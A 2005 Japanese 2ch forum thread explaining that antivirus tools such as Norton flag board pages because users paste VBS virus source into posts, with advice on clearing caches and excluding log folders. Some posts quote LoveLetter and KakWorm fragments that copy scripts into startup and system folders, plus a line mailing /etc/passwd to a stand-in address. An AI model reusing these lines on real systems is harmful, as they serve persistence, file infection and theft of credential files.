05/03/01 01:58:58
只今2chでvbsのウィルスのソースを貼りノートンなどのセキュリティツールを誤反応させるのが流行っています。
あまりにも質問スレなどで既出の（このvbsの）質問が多すぎるのでこのスレへURLを貼って誘導してください。
また新たなパターンのvbsが見つかったら一応このスレで報告願えると幸いです。
■この問題について■
2chのスレにvbsウィルスのソースを書き込むことによってブラウザがそのスレのhtmlファイルをダウンロードする際に
ウィルスのパターンと一致するので、ウィルスが検出されたとノートン先生などが騒ぎます。（設定によっては反応しないこともありますが、全く問題ありません）
ご存知の通り、htmlを読んでもこのvbsのソースは実行されることは無いので、全く問題ありません。
また、デフォルトだとIEはInternet Temporary Filesフォルダにhtmlをダウンロードしますので、感染ファイルはここのhtmlファイルにになります。
これらのファイルは削除しても全く問題ありませんが、該当スレを読み直すとまたvbsのソース付きhtmlがダウンロードされてしまうので警告が出ます。
■まとめと対策■
２ちゃんねる見ていたらvbsウィルスが検出された！
URLﾘﾝｸ(info.2ch.net)
2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか？
URLﾘﾝｸ(info.2ch.net)
2chブラウザのログ保存フォルダを「除外」に設定。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。
前スレ
ノートンがvbsウィルスのソースに誤反応
ｽﾚﾘﾝｸ(sec板)
ノートンがvbsウィルスのソースに誤反応２
ｽﾚﾘﾝｸ(pcqa板)
テンプレ>>1-10あたり
2:ひよこ名無しさん
05/03/01 01:59:38
■既知のvbsウィルスのソース■
・VBS.Internal
出元はｽﾚﾘﾝｸ(download板:197番)だと思われる。
ﾀﾞｳｿ板からいろんな板へ飛び火した模様。
・VBS.LoveLetter.A
ｃ．Ｃｏｐｙ（ｄｉｒｓｙｓｔｅｍ＆”ＬＯＶＥ－ＬＥＴＴＥＲ－ＦＯＲ－ＹＯＵ．ＴＸＴ．ｖｂｓ
（反応しないように全角で書いてあります）出元不明。ニュー速から？
一般論として「htm」「html」拡張子などを安易に検索対象から外すことは奨励されません。これを感染ターゲットにするウィルスが数種確認されています。
URLﾘﾝｸ(www.symantec.com)
Ｑ．ウイルスコードが貼られているのにノートン反応しない。。。
Ａ．ウイルスコードが貼られている２ちゃんねるのスレをテストページとして使用するのは奨励されない。
なぜなら、ここで言われているノートンの反応は単なる掲示板とスキャンエンジンの「仕様の衝突」であり、
これからも同じページを見ればその都度反応するという保証がないから。
仕様というものは、ある時突然変更されたりするもの。
ネットサーフィン中のウイルス対策ソフトの常駐動作確認は、テスト用に作られたEICARテストファイルにアクセスして行うべき。
EICARテストファイル（正常に常駐していればURLにアクセスと同時に反応します）
URLﾘﾝｸ(www.eicar.org)
3:ひよこ名無しさん
05/03/01 01:59:46
／￣|
｜ ｜
｜ ｜ ／￣￣￣￣￣￣
,― ＼ |
| ＿＿_） ｜ ∩∩ ∠ ﾘｭﾝﾊﾟｯﾁ♪
| ＿＿_） ｜ | |_| | ＼＿＿＿＿＿＿
| ＿＿_） ｜＼＿＿＿（・∀・ ）＿＿＿__
ヽ＿＿）＿／ ＼＿＿＿ ＿＿＿__, ）＿＿
〃 . / / / / 〃⌒i
| / ./ / / .i::::::::::i
＿＿＿＿| /⌒＼./ / / | ＿__＿|;;;;;;;;;;;i
[__]＿＿＿| / /-、 .＼_. / Uし'［＿］ .|
| || | / /i i / | || |
| ||＿__＿|＿___/ / .| .|＼＿ノ＿＿＿＿＿＿..| || |
|（＿＿＿_＿ノ /＿| |＿＿＿＿＿＿＿＿＿..| || |
| LLLLLL.／ __）L_| |LLLLLLLLLLLLLLLLL. | ||＿＿＿__」
| || (＿／ / i .| || | ||
|_|| ／ .ノ |_|| |_||
(＿／
4:ひよこ名無しさん
05/03/01 02:00:21
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
< => <
> => >
& => &
" => "
それぞれしっかり置換されていれば反応しない、ここの掲示板の問題。
ノートンが反応するのは、ここの掲示板（2Ch）の仕様なので気にする必要なし。
ここは、時に他のウィルス対策ソフトが反応する場合もある。
反応したらソースを見てみるといい。他の掲示板と違うことに気付くはずだ。
断言できることは、他のWebページでノートンが反応した場合は要注意ということ。
尚、ここはウイルス鑑定スレではありません。
危ないと思ったURLはラウンジ板等の”勇気が無くて見られない画像解説スレ”で診てもらいましょう。
URLﾘﾝｸ(find.2ch.net)
■関連
ノートン入れたら２ｃｈに書きこめない人へ
URLﾘﾝｸ(ansitu.s53.xrea.com)
ノートンインターネットセキュリティ＠２ちゃんねる検索
URLﾘﾝｸ(find.2ch.net)
【ノートン入れたら２ｃｈに書きこめない】人へ＠２ちゃんねる検索
URLﾘﾝｸ(find.2ch.net)
5:ひよこ名無しさん
05/03/01 02:05:28
補足ありましたらお願いします。
6:ひよこ名無しさん
05/03/01 02:06:29
ニャンです
7:ひよこ名無しさん
05/03/01 18:00:01
Ｑ．２ちゃんねるの板開いただけで反応します。
Ａ．スレッドタイトルにウイルスコードが貼られていることがあり、それに反応しています。
２ちゃんねるブラウザの場合、ログ保存フォルダの他にスレタイ・既読スレ履歴等を保存しているファイルやフォルダを除外。
各２ちゃんねるブラウザによってスレタイ・既読スレ履歴等を保存しているファイルやフォルダが異なるようなので
特定のドライブ、フォルダ、ファイルをウイルススキャンの対象から除外する方法
URLﾘﾝｸ(service1.symantec.com)
↑を参考にお使いの２ちゃんねるブラウザのスレでお聞きください。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。
URLﾘﾝｸ(info.2ch.net)
8:ひよこ名無しさん
05/03/02 00:36:43
その他リンク＠２ちゃんねる検索
エロサイト見たら…助けて下さい！
URLﾘﾝｸ(find.2ch.net)
パソコン初心者総合質問スレッド
URLﾘﾝｸ(find.2ch.net)
セキュリティ初心者質問スレッド
URLﾘﾝｸ(find.2ch.net)
9:ひよこ名無しさん
05/03/03 00:26:00
◆◇◆ 報告用テンプレ ◆◇◆ （暫定）
■>>1-9を読みましたか？ 『YES/NO』
■２ちゃんねるの板･スレ･レス番のアドレス 『 』
■ノートンのメッセージ（ウイルス名） 『 』
■ブラウザの種類 『 』
■ノートンのヴァージョン 『 』
■ノートン以外のアンチウイルスソフト名 『 』
■その他. 『 』
10:ひよこ名無しさん
05/03/03 01:13:35
２ちゃんねるに貼られたウイルスコードに誤反応していたことがわかったら
インターネットエクスプローラの場合
ツール→インターネットオプション→インターネット一時ファイル、ファイルの削除
これをしないでウイルススキャンしたらインターネット一時ファイル（Temporary Internet Filesフォルダ）でウイルス反応がでます。
また、該当レスを再び読み込むとウイルス反応がでます。
２ちゃんねるブラウザを使って以下の設定をして２ちゃんねるを見ましょう。
２ちゃんねるブラウザの場合
2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか？
URLﾘﾝｸ(info.2ch.net)
2chブラウザのログ保存フォルダを「除外」に設定。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。
11:ひよこ名無しさん
05/03/03 02:43:55 7F9C8/Th
よろ
kak.hta';ken=wdt'START
ms-its:mhtml:file://c:\
12:ひよこ名無しさん
05/03/03 18:20:43
>>11
既出。
Wscript.KaｋWorm
ｽﾚﾘﾝｸ(pcqa板:946番)
Bloodhound.Exploit.6
ｽﾚﾘﾝｸ(pcqa板:932番)
13:ひよこ名無しさん
05/03/04 01:48:43 hGA62fOr
URLﾘﾝｸ(c-au.2ch.net)
このウイルスを解説してください
14:ひよこ名無しさん
05/03/04 22:18:30
DAT落ち阻止て神戸♪
>>13
VBS.LoveLetter.Var
ｽﾚﾘﾝｸ(pcqa板:928番)
ウイルスコードが貼られているのにノートン反応しないって人は>>2見てね。
15:ひよこ名無しさん
05/03/05 00:21:55 hfT/sPqY
ありがとう
しかしラブレター１個だけではないはず。
カーネルやネットワークも入っている。
一つ一つ解説してください。
16:ひよこ名無しさん
05/03/05 19:06:57 5lPM1YuQ
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
↑こういうのって最初に気づいた奴って天才だよな
17:cen ◆Pm9xOTJuM.
05/03/05 20:09:53 BE:10314454-#
あ。そうそう。
>>16 みたいなスクリプトを誤反応しないような、datファイルに
datを作り変えるプログラム作ってみました。
よかったら使ってみてください。
URLﾘﾝｸ(www.geocities.jp)
18:ひよこ名無しさん
05/03/05 22:58:07
あやすい・・・・・
19:cen ◆Pm9xOTJuM.
05/03/06 02:36:23 BE:28879878-#
>>18
自分のパソコンで何度も実行してますが、大丈夫ですよー。
さっき総質で見た、未対応のスクリプトに対応させました。
20:名無しさん＠お腹いぱーい。
05/03/06 22:24:25 BE:2830436-##
>>17,19
ご支援ありがとうございます。
URLﾘﾝｸ(ansitu.xrea.jp)
21:ひよこ名無しさん
05/03/06 22:26:34 NzpAHwS7
ここの１の解説キボン
URLﾘﾝｸ(c-au.2ch.net)
22:ひよこ名無しさん
05/03/06 22:32:03
==================================
=================／∧ =========／∧
===============／ / λ=======／ / λ ー
=============／ / λ====／ / λ ー ／
===========／ / /λ =／ / /λ ／
=========／ / / //λ / / //λ ＿＿
=======／ ￣￣￣ ＼ ＿＿＿
=====./ /￣ ） （￣ヽ λ ／
====/ /●／ ＼● /λ ／
===/ /／ ＼ /λ
===| / /| ___|____
==｜ ∧＿＿＿＿＿＿＿＿ / //| ／
==｜ ヽ────〆 ///// ／|＼
===| / / ////| |
===＼ / / /////
=====＼_ / //////__／. ｜
========＼ ミ／ ｜
==========＼ ／ ─┐
============＼ ＼ . ─┤
==============＼ ＼ . ─┘
================＼ ＼
==================＼ ・ ＼
=====================
======================
23:ひよこ名無しさん
05/03/09 04:14:09
hoshu
24:ひよこ名無しさん
05/03/09 22:29:16
未だにVIPの板更新すると、ノートン先生の逆鱗に触れてしまうオイラですが
2chのスレにvbsウィルスのソースを書き込むことによってブラウザがそのスレのhtmlファイルをダウンロードする際に
ウィルスのパターンと一致するので、ウィルスが検出されたとノートン先生などが騒ぎます。（設定によっては反応しないこともありますが、全く問題ありません）
らしいです、騒いでごめんなさい。
2chにかぎっては心配(ﾟ⊿ﾟ)ｲﾗﾈみたいです。
25:24
05/03/09 22:30:49
誤爆すいません
26:ひよこ名無しさん
05/03/10 12:00:18
>>24
スレタイにウィルスコードが書いてある模様。
27:ひよこ名無しさん
05/03/11 19:52:34
>>24
漏れもソレダ！！！
もう無視しまくりんぐｗｗｗｗｗｗｗ
28:ひよこ名無しさん
05/03/11 19:54:19 2tTtEvgw
ノートンなんか使ってんなよ ハゲ
29:ひよこ名無しさん
05/03/11 20:20:02
A Boneを使用してるのですが、ＰＣ初心者の上の「初心者の質問」板をクリックするだけで、ノートンがウイルスを検知してしまいます。
しかも板を開く事もできません。毎回そうなってしまいます。
昨日、システムをスキャンしたら確かに感染していました。「初心者の質問」板だけ毎回そうなります。
これは何でしょうか？
30:ひよこ名無しさん
05/03/11 21:00:24
ぐはははははｗｗｗVIPもそうだよ
31:名無しさん＠お腹いぱーい。
05/03/11 22:14:43 BE:8803878-##
>>29
>>7見てね。
32:ひよこ名無しさん
05/03/12 00:37:07 eI8qHG/W
2ちゃんを普通に見ていただけなのにノートンから「ウィルス名は
Unix.Penguinで、ファイルを修復できません」と表示されてしまいました。何か対策は無いでしょうか？
ちなみに誤作動との見分け方はありますか？
33:ひよこ名無しさん
05/03/12 04:45:56
／￣|
｜ ｜
｜ ｜ ／￣￣￣￣￣￣
,― ＼ |
| ＿＿_） ｜ ∩∩ ∠ ﾘｭﾝﾊﾟｯﾁ♪
| ＿＿_） ｜ | |_| | ＼＿＿＿＿＿＿
| ＿＿_） ｜＼＿＿＿（・∀・ ）＿＿＿__
ヽ＿＿）＿／ ＼＿＿＿ ＿＿＿__, ）＿＿
〃 . / / / / 〃⌒i
| / ./ / / .i::::::::::i
＿＿＿＿| /⌒＼./ / / | ＿__＿|;;;;;;;;;;;i
[__]＿＿＿| / /-、 .＼_. / Uし'［＿］ .|
| || | / /i i / | || |
| ||＿__＿|＿___/ / .| .|＼＿ノ＿＿＿＿＿＿..| || |
|（＿＿＿_＿ノ /＿| |＿＿＿＿＿＿＿＿＿..| || |
| LLLLLL.／ __）L_| |LLLLLLLLLLLLLLLL. | ||＿＿＿__」
| || (＿／ / i .| || | ||
|_|| ／ .ノ |_|| |_||
(＿／
34:ひよこ名無しさん
05/03/12 21:15:24 KI7PmLwk
Open Janeをでスレを見てたらウィルスコードが張られてて
ウィルス警告が出てファイルが修復出来ませんとでました。
ウィルスコードをNGワードに入れたら、NGワードが全部消えて
デスクトップにあるNGWordtxtというアイコンを削除しようとすると
やはりウィルス警告が出て削除できません。
スキャンをするとあるファイルの所まで来ると電源が切れてしまいます。
ウィルス名は「Bloodhound.Exploit6」と出るのですが、どうしたらいいでしょうか･･･。
35:ひよこ名無しさん
05/03/12 21:50:19
>>34
∩∩
| |_| | ／￣￣￣￣￣￣￣
／￣＼ ・∀・） ＜ ﾘｭﾝﾊﾟｯﾁ♪
.r ┤ ト､ ＼ ＼＿＿＿＿＿＿＿
|. ＼＿／ ヽ ｜
| ＿_（￣ | | |
| ＿_）＿ノ￣￣￣￣＼
ヽ＿＿＿） ノ ＼
||＼||￣￣￣￣￣￣￣||￣
|| ||￣￣￣￣￣￣￣||
.|| ||
36:34
05/03/12 23:34:38
すみません。
１つは解決しましたがスキャンすると電源が落ちるのは直りませんので
これは他のスレで聞いてみます
37:ひよこ名無しさん
05/03/17 15:26:43
なんだ、最近多いと思ってたがウィルスコードのせいだったのか。
しかしこれってあぼーんされないのかな。
とりあえずここみて安心した。ありがと。